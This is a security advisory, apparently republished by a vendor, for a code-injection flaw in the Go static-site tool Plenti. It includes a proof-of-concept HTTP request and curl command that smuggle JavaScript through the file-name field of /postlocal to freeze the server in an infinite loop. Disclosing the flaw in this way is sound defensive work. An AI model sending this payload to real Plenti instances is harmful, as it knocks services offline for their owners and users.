GHSA-mj4v-hp69-27x5
MEDIUMPlenti - Code Injection - Denial of Services
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/plentico/plentiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
While pushing a file via postLocal method if user add javascript code in file parameter that codes can exe in v8go context.
Details
While posting a file via postLocal, any attacker will add javascript codes to file parameter. That parameter content pass to componentSignature method after some validation. After that componentSignature parameter concat with ssrStr parameter.
<img width="1145" alt="image" src="https://github.com/user-attachments/assets/a08a3fe5-2fbd-4a05-b93c-2ad127e6ee81" />Last part of compileSvelte function ssrStr parameter executed in v8go engine.
<img width="754" alt="image" src="https://github.com/user-attachments/assets/4e622761-3324-48d6-8264-6dd6e09055af" />This cause to any one who can post a file also can push javascript code and run it. Thanks to v8go we can't use all javascript metod, if there is no any vulnerability in v8go we can't escape sandbox and can't run dangerous command like opening socket etc. But we can create infinite loop and the plenti can't response any request.
After posting a file with name 'layouts/global/test; eval(while(1););var test.svelte' we can see the ssrStr parameter include our javascript codes.
Note: Eval usage not must I just want to ensure that it's run javascript commands.
PoC
Request
POST /postlocal HTTP/1.1
Host: localhost:3000
Content-Length: 125
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
[{"action":"create","encoding":"text","file":"layouts/global/test; eval(`while(1);`);var test.svelte","contents":"anethole"}]
Video
Curl Request
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: localhost:3000' -H $'Content-Length: 125' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
--data-binary $'[{\"action\":\"create\",\"encoding\":\"text\",\"file\":\"layouts/global/test; eval(`while(1);`);var test.svelte\",\"contents\":\"anethole\"}]' \
$'http://localhost:3000/postlocal'
Impact
It's a remote code execution vulnerability. Because of the sandbox we can show only Denial of Service impact. Any vulnerability will be exists in v8go that cause to escape sandbox, different impacts can be show.
Note: Plenti is using V8GO and V8GO is using V8 version of 11.1.278. This version released at 25 January 2023. After this date some RCE vulnerabilities founded in V8 like CVE-2024-5830,
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/plentico/plenti | all versions | 0.7.17 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/plentico/plenti. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/plentico/plenti to 0.7.17 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mj4v-hp69-27x5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-mj4v-hp69-27x5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-mj4v-hp69-27x5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-mj4v-hp69-27x5 in your dependencies?
O3 detects GHSA-mj4v-hp69-27x5 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.